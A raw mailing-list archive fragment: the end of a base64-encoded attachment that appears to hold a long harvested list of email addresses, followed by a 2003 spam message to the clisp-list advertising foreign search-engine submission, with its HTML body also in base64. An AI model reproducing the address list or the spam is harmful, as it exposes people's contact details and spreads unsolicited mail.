b0BleWVleWUuY29tDQppbmZvQGctbi11LmRlDQp3ZWJtYXN0ZXJAZy1uLXUuZGUNCmpjaEBoZWxs ZWEuYmUNCnByZW5zYUBoaXNwYWxpbnV4LmVzDQpzZWNyZXRhcmlvQGhpc3BhbGludXguZXMNCmhh emVkQGliZ2FtZXMuY29tDQp3ZWJtYXN0ZXJAaWdpcm8uc2UNCndlYm1hc3RlckBnMTBjb2RlLmRl DQppbmZvQGluZXMuZGUNCndlYm1hc3RlckBpbmVzaW5jLmNvbQ0KaW5mb0BrZXJuZWxjb25jZXB0 cy5kZQ0Kd2VibWFzdGVyQGtkZS5vcmcNCmFkbWluaXN0cmFjaW9uQGludGVybmF1dGFzLm9yZw0K YXNvY2lhY2lvbkBpbnRlcm5hdXRhcy5vcmcNCmpyZW1AaW50ZXJuYXV0YXMub3JnDQpwcmVzaWRl bnRlQGludGVybmF1dGFzLm9yZw0Kc3VwcG9ydEBsZi5uZXQNCndlYm1hc3RlckBsZi5uZXQNCmdv cmtrQGlmcmFuY2UuY29tDQp3ZWJtYXN0ZXJAamV1eGxpbnV4LmNvbQ0KeWxlZG9hcmVAZnJlZS5m cg0Kd2VibWFzdGVyQGxpbnV4Y2FyZS5jb20NCmluZm9AbGl2ZWNoYXRub3cuY29tDQp3ZWJtYXN0 ZXJAbG9saXguY29tDQpvZmZpY2VAbHVnYS5hdA0Kd2VibWFzdGVyQGx1Z2EuYXQNCmluZm9AbHVu by5uZXQNCmluZm9AbGludXguc2UNCmxvamJhbkBsb2piYW4ub3JnDQp3ZWJtYXN0ZXJAbG9qYmFu Lm9yZw0KbWFpbEBtZWRpYS1saWdodHMuY29tDQp3ZWJtYXN0ZXJAbXVycGh5Lm5sDQppbmZvQG1r ZC1nbWJoLmRlDQp3ZWJtYXN0ZXJAbWtkLWdtYmguZGUNCndlYm1hc3RlckBuZXR6YWRtaW5pc3Ry YXRpb24uZGUNCmFsYW5AbmljaG9scy5kZQ0KaW5mb0BuZXhlZGkuY29tDQptYXJrQG92ZXJtZWVy Lm5ldA0Kd2VibWFzdGVyQG5sbmV0Lm5sDQpuLmNsYXJrZUBtbWMubW11LmFjLnVrDQprb250YWt0 QG8zLXNvZnR3YXJlLmRlDQp3ZWJtYXN0ZXJAb2JqZWN0d2ViLm9yZw0KaW5mb0BvY3RhbnQtZnIu Y29tDQpvY3RhbnRAb2N0YW50LWZyLmNvbQ0Kd2VibWFzdGVyQG9wZW5jYXNjYWRlLmNvbQ0KcGF5 cGFsQG9zdGVsLmNvbQ0Kc2FsZXNAb3N0ZWwuY29tDQp3ZWJAb3N0ZWwuY29tDQpmZ21Ab3NpbmV0 LmZyDQpuZXdzQG9zaW5ldC5mcg0Kb3NpQG9zaW5ldC5mcg0Kc2FsZXNAb3NpbmV0LmZyDQppbmZv QHJvY29tLmRlDQplbWFpbEBwcm92aXNpby5kZQ0KaW5mb0BzaXRla2lvc2suZGUNCmluZm9AcG9u c2l0LmNvbQ0KYmlncGF1bEBwbHV0by5saW51eC5pdA0KcGx1dG9AcGx1dG8ubGludXguaXQNCndl Ym1hc3RlckBwbHV0by5saW51eC5pdA0Kd2VibWFzdGVyQHF1YW50aXMubmwNCmluZm9Ac2VydmVy bWFzdGVycy5jb20NCmluZm9Ab3RhLmJlDQp3ZWJtYXN0ZXJAb3RhLmJlDQppbmZvQHNmZm8uZGUN CnJoQGZ0by5kZQ0KcGV0ZXIubGFwcG9Ac21yLmNvLnVrDQphbmZyYWdlQHNlcnZpY2UtcGFydG5l ci5hdA0KaGFrZW5Ac2VydmljZS1wYXJ0bmVyLmF0DQppbmZvQHNvbGlkY29kZS5uZXQNCnByb3Bv c2Fsc0BiaWdicm90aGVyYXdhcmRzLmNoDQpzaXVnQHNpdWcuY2gNCm5wYXVsaUBzdC1qb2hucy5v cmcudWsNCmluZm9Ac29mdHdhcmUucGxjLnVrDQp3ZWJtYXN0ZXJAdGF6LmRlDQp3d3dfYWRtaW5A c3NsdWcuZGsNCndlYm1hc3RlckB0ZWxlY29tc29mdC5uZXQNCnN1cHBvcnRAdG9sbmEubmV0DQp3 ZWJAdG9sbmEubmV0DQprdXdAd2ViZXJrb20uZGUNCmluZm9Ady1tLXAuY29tDQprd0B3LW0tcC5j b20NCnZtQHctbS1wLmNvbQ0KaW5mb0BzdGltLmRlDQpjb250YWN0QHRyaS1lZHJlLmNvbQ0KY29u dGFjdEB0cmktZWRyZS5mcg0KaW5mb0B6b25lLnBsDQprb25yYWQua3JhZmZ0QGRvdWJsZXNsYXNo LmRlDQpydWZmQHhtbGJsYXN0ZXIub3JnDQp4bWxibGFzdGVyQG1hcmNlbHJ1ZmYuaW5mbw0Kd2Vi bWFzdGVyQHdvcmxkbmV0Lm5ldA0KZHNwQHByaXZhY3lhY3RpdmlzbS5vcmcNCmplZmZuQHBhZGku Y29tDQppbmZvQHF1aWNrbWlycm9yLmNvbQ0Kb3JkZXJzQHF1aWNrbWlycm9yLmNvbQ0KaGF1YmVu QGNvbHVtYmlhLmVkdQ0KcHJlc2lkZW50QHdoaXRlaG91c2UuZ292DQpib3V0ZWxsQGJvdXRlbGwu Y29tDQp3ZWJtYXN0ZXJAY2xpcS5jb20NCmFqam9zaGlAbWFpbDEuY2lzY28uY29tDQprZXZpbl9y YW1zZGVsbEBocC11c2Etb20xLm9tLmhwLmNvbQ0Kc2hhd24uc2NhbmxvbkBjb21wYXEuY29tDQp0 aW1AaHRtbGNhbC5jb20NCm5vc3BhbS13ZWJtYXN0ZXJAZmlyZW56ZS5saW51eC5pdA0Kcm1jb3Jt b25AZmxvcmEub3R0YXdhLm9uLmNhDQpjcGFuQHBlcmwub3JnDQpqaGlAaWtpLmZpDQp1bml4b3Bz QGNvbG9yYWRvLmVkdQ0KYmVydEBtaXQuZWR1DQpkaXN3d3dAbWl0LmVkdQ0Kd2VibWFzdGVyQG1p dC5lZHUNCnd3dy10YWxrQGluZm8uY2Vybi5jaA0Kd2VibWFzdGVyQGlzYy5vcmcNCmFudGhvbnl3 QGFsYmFueS5uZXQNCmVkZjJAcGFjYmVsbC5uZXQNCm1ob25hcmNAbWhvbmFyYy5vcmcNCnNob2hy ZWhAdWNpLmVkdQ0Kc25ldmVsQHNvbmljLm5ldA0Kc25ldmVsQHNvbmljLm5ldAkNCnJhZGlvNGFs QHJhZGlvNGFsbC5vcmcNCnhtbC1oZWxwQHhtbC5jb20NCnJ1c3NlbGxAZmxvcmEub3JnDQpycEBy YWRpbzRhbGwubmV0DQpzaGF3bkB3aWxzaGlyZS5uZXQNCndlYm1hc3RlckBsYXcuc3RhbmZvcmQu ZWR1DQp3ZWJtYXN0ZXJAa2luZ2tvbmcuZGVtb24uY28udWsNCmR3MkBvcGVuY29udGVudC5vcmcN Cm1ham9yZG9tb0BmbG9yYS5vcmcNCnJvb3RAY2FsY3V0dGEzLmZsb3JhLmNhDQpjZW9pbnZpdGVA Zm9yYmVzLm5ldA0KYWZvLWluZm9AZmxvcmEub3JnDQppbmZvQHplbmQuY29tDQp3ZWJtYXN0ZXJA ZWZmLm9yZw0KY2gwNzhAZnJlZW5ldC5jYXJsZXRvbi5jYQ0KY2gwNzhAZnJlZW5ldC5jYXJsZXRv bi5jYS8NCmNoZWFiY0BpbWFnLm5ldA0KY3VzdG9tQHJlbmMuaWdzLm5ldA0KY3VzdG9tQHJlbmMu aWdzLm5ldC8NCmdyYnJhbm5vQGNvdXN0ZWF1LnV3YXRlcmxvby5jYQ0KZ3JicmFubm9AY291c3Rl YXUudXdhdGVybG9vLmNhLw0KaGlnaGVyZWRmb3Job21lbGVhcm5lcnMtc3Vic2NyaWJlQHlhaG9v Z3JvdXBzLmNvbQ0KaW5mb0BhbGxpc29udGhlYm9va21hbi5jb20NCmluZm9AYWxsaXNvbnRoZWJv b2ttYW4uY29tLw0KaW5mb0Bib29rc3RvcmUuaG1wLmNvbQ0KaW5mb0Bib29rc3RvcmUuaG1wLmNv bS8NCnJkaWNrc29uQGFjaGlsbGVzLm5ldA0KcmRpY2tzb25AYWNoaWxsZXMubmV0Lw0Kcm9zYWxl ZW5AZmxvcmEub3JnDQpyb3NhbGVlbkBmbG9yYS5vcmcvDQppbmZvQHNpbXMuYmVya2VsZXkuZWR1 DQpsZXR0ZXJzQHRoZWNyaW1zb24uY29tDQptYXl0YWxAZmFzLmhhcnZhcmQuZWR1DQprcGxldmFu QHNrYWRkZW4uY29tDQpnd2VuZG9seW5tQGNuZXQuY29tDQpyb2IubGVtb3NAY25ldC5jb20NCmRi ZWNrZXJAY25ldC5jb20NCmxldHRlcnNAbmV3cy5jb20NCmtidXJyb3dzQGFlaS5vcmcNCmxhdy1p bmZvLXJlcXVlc3RAbGlzdGhvc3QudWNoaWNhZ28uZWR1DQpmb3JiaWRkZW5AZ29vZ2xlLmNvbQ0K b3B0aW5AaW5jLmFzaWFjby5jb20NCmFjdGl2aXN0QGVmZi5vcmcNCmluZXRAbWljcm9zb2Z0LmNv bQ0KdHN1a3VzZW5haUBvcGVub2ZmaWNlLm9yZw0KYmFybG93QGVmZi5vcmcNCmRpc2N1c3NAY2Fu b3BlbmVyLmNhDQpkaXNjdXNzQGRpZ2l0YWwtY29weXJpZ2h0LmNhDQpub19sb2dpbkB3d3cubnl0 aW1lcy5jb20NCmFscmFtc2V5QGRsY3dlc3QuY29tDQphcTM4OUBjaGVidWN0by5ucy5jYQ0KaGV5 akBhZGFuLmtpbmdzdG9uLm5ldA0KaGV5akBzeW1wYXRpY28uY2ENCmhvbWVzY2hvb2wtY2EtYWRt aW5AZmxvcmEub3JnDQpob21lc2Nob29sLWNhLW9yZy1vd25lckBmbG9yYS5vcmcNCm1hcnlwYkBz aGF3LmNhDQptYmluZm9AaXN0YXIuY2ENCm1pc3Ntb204OEBob3RtYWlsLmNvbQ0KbmFpbWlyb3lA aXNsYW5kbmV0LmNvbQ0Kc2FuZHlrZWFuZUBzaGF3LmNhDQp6aWxAaW50bGF1cmVudGlkZXMucWMu Y2ENCmFiYWRAbWFpbC5pdXBpLnB0DQphYmFpbHRjQG1haWwtb25saW5lLmRrDQphYmFsMUBraW1v LmNvbS50dw0KYWJiZXllYUBpLWZyYW5jZS5jb20NCmFiYmV5ZmVhbGVAbWFpbC5pdXBpLnB0DQph YmJvdHRqQGlvYm94LmZpDQphYmJ5NjEyQGVvbi5kaw0KYWJkYXJtYW5AbWFpbC5tZA0KYWN0aXZl M0BwcmludGVyLmNvbS50dw0KYWxhZGlub3NhbnRvczRAaG90bWFpbC5jb20NCmFsYWluYTYwMTFx QHBvc3QtbW9kZXJuLm9yZw0KYWxpbW9tb2gxQHBvc3QuY3oNCmJhbmRpdG9fM0Bob3RtYWlsLmNv bQ0KYmFzczQ4MkBob3RtYWlsLmNvbQ0KYmlnam9objAwMEBzeW1wYXRpY28uY2ENCmJvbGJvdGhh c2thbG9vdGhAbGliZXJvLml0DQpicmVleWJtQG1haWwuaG9uZ2tvbmcuY29tDQpidWxhaWVAc3Zl cmlnZS5udQ0KYnllYnllam9uZXNAYmVsYXJ1c3RyYXZlbC5ieQ0KY2FiQGJhemFyb3YubmV0DQpj YW5kYWNlcHZAZnJhbmNlLW1haWwuY29tDQpjaGVhcHBoYXJtMzE5MDIzQGhvdG1haWwuY29tDQpj aHhmZWVseW91bmdlcjMxOTAzQGhvdG1haWwuY29tDQpkYXZpZEBkandob21lLmRlbW9uLmNvLnVr DQpkaWNrZXlAaGVybmRvbjQuaGlzLmNvbQ0KZGlja2V5QHJhZGl4Lm5ldA0KZGthdWZtYW5AcmFo dWwubmV0DQpka2NvbWJzQHBhbml4LmNvbQ0KZHJwYXVsZGFuanVtYTFAb21hbmluZm8uY29tDQpm YWlyYWxsQG5zLnNoZWxsd29ybGQubmV0DQpmZXJtaW43Njh6QGNvbXB1c2VydmUuY29tDQpmaWxi b0BkZWVwdGhvdWdodC5hcm1vcnkuY29tDQpmb3J0dW5lQGNtZWNzei5jb20NCmZvdW50YWlub2Z5 b3V0aDIzNTQwM0BlYXJ0aGxpbmsubmV0DQpmdzg0N3llcW8xQG1zbi5jb20NCmdhc3NlckB5YWhv by5jb20NCmdlb3JnZXNpbHZlcjFAeWFob28uY29tDQpnaXZhQGJnbmV0dC5ubw0KZ2xpcHNlbW91 bmlha0BjaXR5b2ZhdGhlbnMuZ3INCmhlbnJ5QGlybS5uYXJhLmtpbmRhaS5hYy5qcA0KaGlsZGE5 NjFAd29uZ2ZheWUuY29tDQpoaWx5bngtZGV2LWFyY2hpdmU0QGVtYWlsLmNvbQ0KaGlva2hnaGVu aGFuY2VyMzI2NTZAbXNuLmNvbQ0KaHVleTgzODB2QG5ldmFkYW1haWwubmV0DQppbHNlbmRAbWV4 aWNvLmNvbQ0KaWx5YUBtYXRoLmJlcmtlbGV5LmVkdQ0KaW5mb0BsZW5kZXJzZXJ2aWNlc2RpcmVj dC5jb20NCmluby1xY0BzcG90dGVzd29vZGUuZGUuZXUub3JnDQppdGRvZXNtYXR0ZXI1NG51YXdA dnNubC5uZXQuaW4NCml2b3J5d2lsY294QG1pZ2h0eS5jby56YQ0KamFtZXNwQG1haWwuaXVwaS5w dA0KamVhbm5pZV90aG9tYXNAbmV0d29yazg4OC5jb20NCmpsY29oZ2hlbmhhbmNlcjMwOTc1QGVh cnRobGluay5uZXQNCmpvc2VwaG1vYnV0dTEwMDBAbGF0aW5tYWlsLmNvbQ0KanNwYXRoQGJjcGwu bmV0DQpqdXN0aWNlbXVzYTJAYW5mbWFpbC5jb20NCmtlQHN1c2UuZGUNCmtldmluX3BfbWFndWly ZUBqaXBwaWkuZmkNCmt1dGVrQGN5YmVyY29tbS5uZXQNCmxhdXJhX2dvbGRiZXJnQG5ldHdvcms4 ODguY29tDQpsYXZvbm5lMjE2MDE5MThAc3VucG9pbnQubmV0DQpsaXN0c0BwZXJ2YWxpZHVzLnRr DQpsb2dhbjM5NzllQHBheHBvc3Qub3JnDQpsb29neW1hc3RlckB1dmcuZWR1Lmd0DQpsb3VlbGxh Njc4M2JAZXBsdXJpYnVzbWFpbC5jb20NCmxyYXNAc3ByeW5ldC5jb20NCmx2aXJkZW5AY2FzLm9y Zw0KbHlueC1kZXZAZmFzdG1haWwuZm0NCm1hcmNlbG85MjgxaEByb2NrZXRtYWlsLmNvbQ0KbWFy Z29yaWV3aWxjb3hAc3Rhcm1lZGlhLmNvbQ0KbW9kZXN0bzc5MDJvQGVwbHVyaWJ1c21haWwuY29t DQptb2hhbW1lZDQ1QGdvLmNvbQ0KbW9yZXNpemU2NDRtZGF1QHZzbmwubmV0LmluDQptb3Jlc2l6 ZTY0NHZtbmNAdnNubC5uZXQuaW4NCm1wZGx4bWtzbnBybEBhb2wuY29tDQpucm9jaW51QG15cmVh bGJveC5jb20NCm53YWVsdWdvMkB5YWhvby5jby51aw0Kb3R0bzk2MjF3QGp1bm8uY29tDQpwYXJh bWFnbnVzQHBhcmFtYWdudXMuY29tDQpwYXRhc2hAY29tY2FzdC5uZXQNCnBpbHNsQGdvbGRmaXNj aC5hdA0KcHRyQGNhbC5uZXQNCnB1cnNsb3dAc3ltcGF0aWNvLmNhDQpyYWxlaWdoMjM4NWdAYW9s LmNvbQ0KcmVpbmE1NTE5aUBwb3N0LW1vZGVybi5vcmcNCnJpY2tsZXdAc2hlbGx3b3JsZC5uZXQN CnJ0b21teUBhbmZtYWlsLmNvbQ0Kc2FtYXRoYTMxNzFrQG1zbi5jb20NCnNhcmFoZGlsbGlvbjIw MDNAeWFob28uY29tDQpzaGllbGE5NDI5aEBwYXRyaW90bWFpbC5jb20NCnNvZGluZG8yMDAxQG5l dHNjYXBlLm5ldA0Kc291cnNpbXBsaWZpd2VsdEBjZW50cmFzLmx0DQpzdWJpckBzdWJpci5jb20N CnQzOGdnYWEyZGo0QGhvdG1haWwuY29tDQp0YW1teUB5YWhvby5jb20NCnRlbm9yc2dlb3JnZXBy eUBhcXVhLm9jbi5uZS5qcA0KdGctMjAwMjBAbmV0Y29sb2duZS5kZQ0KdXJ1Z3VheXRpdHVsYXJl czA5QGhvdG1haWwuY29tDQp1dWVAcGF1em5lci5kbnR0bS5ydQ0KdmVyc2luZ3N0ZXdhcmRzbWV6 em9AYTIwMDAuZXMNCnZndXp6b0BjaW5lbWFzZ3V6em8uY29tDQp2bGFncmFmbGllQHBhY2lmaWMu bmV0LmluDQp3ZHN0YXJyQHBhbml4LmNvbQ0Kd2Vic2NyaXB0c0Bhd3NkLmNvbQ0Kd3FkaXp4cDJA YW9sLmNvbQ0Kd3g1dzlkenNnQHlhaG9vLmNvbQ0KYmFyaWVAbWFpbC5jb20NCmJvY2F0YW4yMDAx QGhvdG1haWwuY29tDQpkYWNhbGRhckBlbmdtYWlsLnV3YXRlcmxvby54eA0KanBlb3NAcm9nZXJz LmNvbQ0KbWFydGluMTI3QHZpZGVvdHJvbi5jYQ0Kc2FsZXNub3NwYW1Aa21jb21wdXRlcnMubmV0 DQpzYnJvZGVyc2VuQG5vc3BhbXN5bXBhdGljby5jYQ0Kc3BhbXBsZWFzZUByb2dlcnMuY29tDQpw ZWRuZXRAZmxvcmEub3JnDQplY293YXRjaEBtYWdtYS5jYQ0KaW5mb19uMTdAZmxvcmEub3JnDQpw dWJsaWNhZmZhaXJzQG55bHMuZWR1DQpjc3BhYUBpbWF4LmNvbQ0KZGFyeWxlaGFuc29uQHNoYXcu Y2ENCmRoYW5zZW5Ac29mdGhvbWUubmV0DQpnaWRkeUBzaGF3LmNhDQpnbWMyQHRlbHVzLm5ldA0K aG9tZXNjaG9vbC1jYS13ZWJAZmxvcmEub3JnDQppbWNyb3NzQHRlbHVzLm5ldA0Ka2F0aGxiYXJA dnBsLmNhDQptY2NoYW5zQHRlbHVzLm5ldA0KbWxlc3BlcmFuemFAeWFob28uY29tDQpwaGFyZW1p QHNmdS5jYQ0KcHRwcm9qZWN0QHlhaG9vLmNvbQ0KdGhyZWVAYXhpb24ubmV0DQp3aHNAYXQub3Jn DQp3ZWJtYXN0ZXJAZnJlZXBhdGVudHMub3JnDQpzbWFsbGVzdEBzbWFsbGVyYW5pbWFscy5jb20N CndlYm1hc3RlckBhbGFwYWdlLmNvbQ0Kd2VibWFzdGVyQHBhdWlsbGFjLmlucmlhLmZyDQplc3BA Y2VuZXQNCmZlZWRiYWNrQHRlY2h3ZWIuY29tDQp1c2VyQGhvc3QuZG9tYWluDQp1c2VyQGhvc3Qu c3ViLWRvbWFpbi5kb21haW4NCmpsY291cmxldXhAYXRlbGllci5mcg0Kc3hwZXJ0QG11bHRpbWFu aWEuY29tDQpqcEBzbWV0cy5jb20NCmFsY292ZUBhbGNvdmUuZnINCmFya2FuZUBhcmthbmUtbWVk aWEubmV0DQphdGFjb3JhQHdhbmFkb28uZg0KZWJjb25zdWxAZWJjaXAuZnINCmVyaWFuQGxpbnV4 LWtoZW9wcy5jb20NCmVyaWRhbkBlcmlkYW4taW5mby5mcg0KaW5mb0BhbGlhY29tLmZyDQppbmZv QGVhc3Rlci1lZ2dzLmNvbQ0KaW5mb0BtbmlzLmZyDQppbmZvQHN0aXAuZnINCmluZm9zQGF0cmlk LmZyDQpqY2xhdWRlQG1hbmRhbHV4LmNvbQ0KanVyaXhAbGludXgta2hlb3BzLmNvbQ0KbGliY2Fw QG1pcG5ldC5mcg0KbGlicmFpcmllQGV5cm9sbGVzLmNvbQ0KbGluZGlzQGlrYXJpb3MuY29tDQps aW51eEBzb3MtaW5mb3JtYXRpcXVlLmNvbQ0KbG1ldEBsbWV0LmZyDQptY2QyQG1jZDItZGlmZi5m cg0KbWVyZ3VpQGNhbGRlcmEuZnINCnBjbGluZUBjbHViLWludGVybmV0LmZyDQpwZGVtZXVyZUBw bGFuZXRlLm5ldA0KcG93ZXJpbnNpZGVAY2hlei5jb20NCnNodW1lekBhbmFuZGUuY29tDQpzdXBw b3J0QG1lZGFzeXMtZGlnaXRhbC1zeXN0ZW1zLmZyDQpzdXNlQGF0bGFudGljLXJlc2VhdS5jb20N CnRob3QtbUB3YW5hZG9vLmZyDQp2ZW50ZXNpbmZvQGxvY2FidXJlYXUuY29tDQppbmZvQGNlbG9n LmZyDQppbmZvQGRyb2l0LXRlY2hub2xvZ2llLm9yZw0KaW5mb0BsZWdhbGlzLm5ldA0Kd2VibWFz dGVyQGNmY2wuY29tDQp3ZWJtYXN0ZXJAcHRmLmNvbQ0KcGF0ZW50c0B3b3JsZC5zdGQuY29tDQpw YXRlbnRzQHdvcmxkLnN0ZC5jb20JDQpkZW1vQHdlc3QucGF0ZW50cy5jb20NCmd2ZWxsZW56ZXJA bnljLnJyLmNvbQ0KaWxhaW5lQHBhbml4LmNvbQ0Kd2VibWFzdGVyQHBhdGVudHMuY29tDQp3b3Js ZXlAYXJpYWRuZS5jb20NCmZyYW5jb2lzLnNhdXRlcmV5QGlyaXMuc2dkZy5vcmcNCm1lcnllbS5t YXJ6b3VraUBpcmlzLnNnZGcub3JnDQp3ZWJtZXN0cmVAaXJpcy5zZ2RnLm9yZw0KaXJpcy1jb250 YWN0QGlyaXMuc2dkZy5vcmcNCmZjb3VjaGV0QGFwcmlsLm9yZw0KcGhtQGEyZS5kZQ0KYmhAdWRl di5vcmcNCnBpbmt5QHVkZXYub3JnDQphdXRob3JAcmVkaGVycmluZy5jb20NCmVkaXRvcnNAbGlu dXh0b2RheS5jb20NCnBlcmZvcm1hbmNlQGZyZWVic2Qub3JnDQpiby5tYWxtQHNhZi5zZQ0KZG9t aW5pcXVlLnZhbmRlcmdoZXluc3RAZGcxNS5jZWMuYmUNCmVyaWsubm9vdGVib29tQGRnMTUuY2Vj LmJlDQpwc2NobWl0dEBtZWRlZi5mcg0KY2F0aGVyaW5lLmJldHpAbnJjLWNucmMuZ2MuY2ENCmdv dm5ldDAzQG5yYy1jbnJjLmdjLmNhDQpjYXRoZXJpbmUuYmV0ekBjbnJjLW5yYy5nYy5jYQ0KZ292 bmV0MDNAY25yYy1ucmMuZ2MuY2ENCndlYm1hc3RlckAwMGgwMC5jb20NCnN0ZXBoZW5zQGNuZXQu Y29tDQpkZXZAYXBpLm9wZW5vZmZpY2Uub3JnDQplcndpbi50ZW5odW1iZXJnQHN1bi5jb20NCm5l d3MtdGlwc0BuZXdzLmNvbQ0KZXJpY2hsQGNuZXQuY29tDQpyaWNoYXJkLnNoaW1AY25ldC5jb20N CmFuZHJld2NAb3JlaWxseS5jb20NCmxob2xkZXJAb3JlaWxseS5jb20NCnN1emFubmVAb3JlaWxs eS5jb20NCmlhbmZAY25ldC5jb20NCmFubm91bmNlQGRpc3RyaWJ1dGlvbi5vcGVub2ZmaWNlLm9y Zw0KY29tbXVuaXR5QG9wZW5vZmZpY2Uub3JnDQpkZXZAZGlzdHJpYnV0aW9uLm9wZW5vZmZpY2Uu b3JnDQpsb3Vpc0BvcGVub2ZmaWNlLm9yZw0Kc3RhdHNAZGlzdHJpYnV0aW9uLm9wZW5vZmZpY2Uu b3JnDQpzdGF0c0BkaXN0cmlidXRpb24ub3Blbm9mZmljZS5vcmc6DQpkZXYtc3Vic2NyaWJlQGRv Y3VtZW50YXRpb24ub3Blbm9mZmljZS5vcmcNCmtjYXJyQG9wZW5vZmZpY2Uub3JnDQpkZXZAd2Vi c2l0ZS5vcGVub2ZmaWNlLm9yZw0Kb3NAb3Blbm9mZmljZS5vcmcNCmFubm91bmNlLXN1YnNjcmli ZUBvcGVub2ZmaWNlLm9yZw0KZGlzY3Vzcy1zdWJzY3JpYmVAb3Blbm9mZmljZS5vcmcNCnVzZXJz LXN1YnNjcmliZUBvcGVub2ZmaWNlLm9yZw0KdXNlcnNAb3Blbm9mZmljZS5vcmcNCmNkcm9tQG9w ZW5vZmZpY2Uub3JnDQpkZXZAbWFya2V0aW5nLm9wZW5vZmZpY2Uub3JnDQpkaXNjdXNzQG9wZW5v ZmZpY2Uub3JnDQpzdG9yaWVzQG9wZW5vZmZpY2Uub3JnDQp3ZWJtYXN0ZXJAb3Blbm9mZmljZS5v cmcNCndlYm1hc3RlcnNAb3Blbm9mZmljZS5vcmcNCmVsaUBwcm9tZXRoZXVzLW11c2ljLmNvbQ0K bWljaGFlbC5iZW1tZXJAZ2VybWFueS5zdW4uY29tDQpkZXZAbmF0aXZlLWxhbmcub3Blbm9mZmlj ZS5vcmcNCmNocmlzdG9mLnBpbm50YXNrZUBzdW4uY29tDQpkaWV0ZXIubG9lc2Noa3lAc3VuLmNv bQ0KZGlyay5ncm9ibGVyQHN1bi5jb20NCmp1ZXJnZW4ucGluZ2VsQHN1bi5jb20NCm1hcnRpbi5o b2xsbWljaGVsQHN1bi5jb20NCm1hdGhpYXMuYmF1ZXJAc3VuLmNvbQ0KbWljaGFlbC5icmF1ZXJA c3VuLmNvbQ0KbWljaGFlbC5ob2VubmlnQHN1bi5jb20NCm5pa2xhcy5uZWJlbEBzdW4uY29tDQpv bGl2ZXIua3JhcHBAc3VuLmNvbQ0Kb2xpdmVyLnNwZWNodEBzdW4uY29tDQp3ZWJtMTBlYXN0ZXJz QG9wZW5vZmZpY2Uub3JnDQpkYXZpZC5iZWNrZXJAY25ldC5jb20NCmF3YXJkc0Bzc2MuY29tDQps aW51eEBzc2MuY29tDQoNCg== --===_SecAtt_000_1fkbrplyremmtf From support@seosos.com Wed Apr 23 20:11:08 2003 Received: from [218.188.7.214] (helo=218.188.7.214) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 198X8a-0006nR-00 for ; Wed, 23 Apr 2003 20:11:04 -0700 Received: from mce.orel.ru ([227.194.185.63]) by ft.com (8.8.3/8.8.3) with SMTP id 15377 for ; Wed, 23 Apr 2003 21:03:46 -0700 Received: from [139.229.150.60] by newmail.co.il via HTTP; Wed, 23 Apr 2003 21:03:44 -0700 From: "Edward Lewis" To: "" X-Mailer: Microsoft Outlook Express 5.00.2314.1300 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_000C_52B3729F.09D402BA" Message-Id: Subject: [clisp-list] Japanese search engines, German search engines, Hispanic search engines, etc. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 23 20:12:05 2003 X-Original-Date: Wed, 23 Apr 2003 21:03:39 -0700 ------=_NextPart_000_000C_52B3729F.09D402BA Content-Type: text/html; Content-Transfer-Encoding: base64 PEhUTUw+CjxIRUFEPgo8VElUTEU+PC9USVRMRT4KPC9IRUFEPgo8Qk9EWT48Rk9OVCBmYWNl PVZlcmRhbmE+PFNUUk9ORz48Rk9OVCBjb2xvcj0jOTkzMzAwPkxldCB1cyAKc3VibWl0Jm5i c3A7aHR0cDovL3d3dy5jbGlzcC5jb25zLm9yZzwvRk9OVD48L1NUUk9ORz48L0ZPTlQ+PEZP TlQgZmFjZT1WZXJkYW5hPjxGT05UIApjb2xvcj0jOTkzMzAwPjxTVFJPTkc+IG9uIEphcGFu ZXNlIHNlYXJjaCBlbmdpbmVzLCBHZXJtYW4gc2VhcmNoIGVuZ2luZXMsIApIaXNwYW5pYyBz ZWFyY2ggZW5naW5lcywgRnJlbmNoIHNlYXJjaCBlbmdpbmVzLCBDaGluZXNlIHNlYXJjaCBl bmdpbmVzIApldGMuLi4uLiE8QlI+PC9TVFJPTkc+PC9GT05UPjxCUj48QlI+UmVhY2ggYWxs IG1ham9yIGZvcmVpZ24gbWFya2V0cyB3aXRob3V0IApoYXZpbmcgdG8gdHJhbnNsYXRlIHlv dXIgd2Vic2l0ZSE8QlI+PEJSPjwvRk9OVD48Rk9OVCAKZmFjZT1WZXJkYW5hPjxCPkludGVy bmF0aW9uYWwgc2VhcmNoIGVuZ2luZXMgc3VibWlzc2lvbiBpcyBub3QgYWJvdXQgZG9pbmcg CmJ1c2luZXNzIHdpdGggZm9yZWlnbmVycyBpbiB0aGVpciBuYXRpdmUgbGFuZ3VhZ2UgYnV0 IHJhdGhlciBicmluZ2luZyBmb3JlaWduZXJzIAp0byB5b3VyIHdlYnNpdGUgdG8gZG8gYnVz aW5lc3Mgd2l0aCB5b3UgaW4gRW5nbGlzaCE8QlI+PEJSPjwvQj5Ib3dldmVyLCB5b3UgbmVl ZCAKdG8gaGF2ZSBhdCBsZWFzdCAxIHBhZ2UgaW4gRnJlbmNoIG9wdGltaXplZCB3aXRoIEZy ZW5jaCBrZXl3b3JkcyBpbiBvcmRlciB0byAKc3VibWl0IG9uIEZyZW5jaCBzZWFyY2ggZW5n aW5lcywgYXQgbGVhc3QgMSBwYWdlIGluIEphcGFuZXNlIG9wdGltaXplZCB3aXRoIApKYXBh bmVzZSBrZXl3b3JkcyBpbiBvcmRlciB0byBzdWJtaXQgb24gSmFwYW5lc2Ugc2VhcmNoIGVu Z2luZXMgZXRjLjxCUj48QlI+QXMgCml0IHN0YW5kcyBJbnRlcm5ldCB1c2VycyBzZWFyY2hp bmcgb24gR2VybWFuIHNlYXJjaCBlbmdpbmVzLCBGcmVuY2ggc2VhcmNoIAplbmdpbmVzLCBI aXNwYW5pYywgUG9ydHVndWVzZSwgSXRhbGlhbiwgSmFwYW5lc2Ugb3IgQ2hpbmVzZSBzZWFy Y2ggZW5naW5lcyAKY2Fubm90IGZpbmQgeW91ciB3ZWJzaXRlISBJbiBmYWN0LCBpdCBwcm9i YWJseSBoYXMgbm90IGJlZW4gb3B0aW1pemVkIG5vciBsaXN0ZWQgCmFjY29yZGluZ2x5Li4u LiA8QlI+PEJSPllvdSBtYXkgcmVxdWVzdCBhZGRpdGlvbmFsIGluZm8gYnkgZW1haWwgYXQg 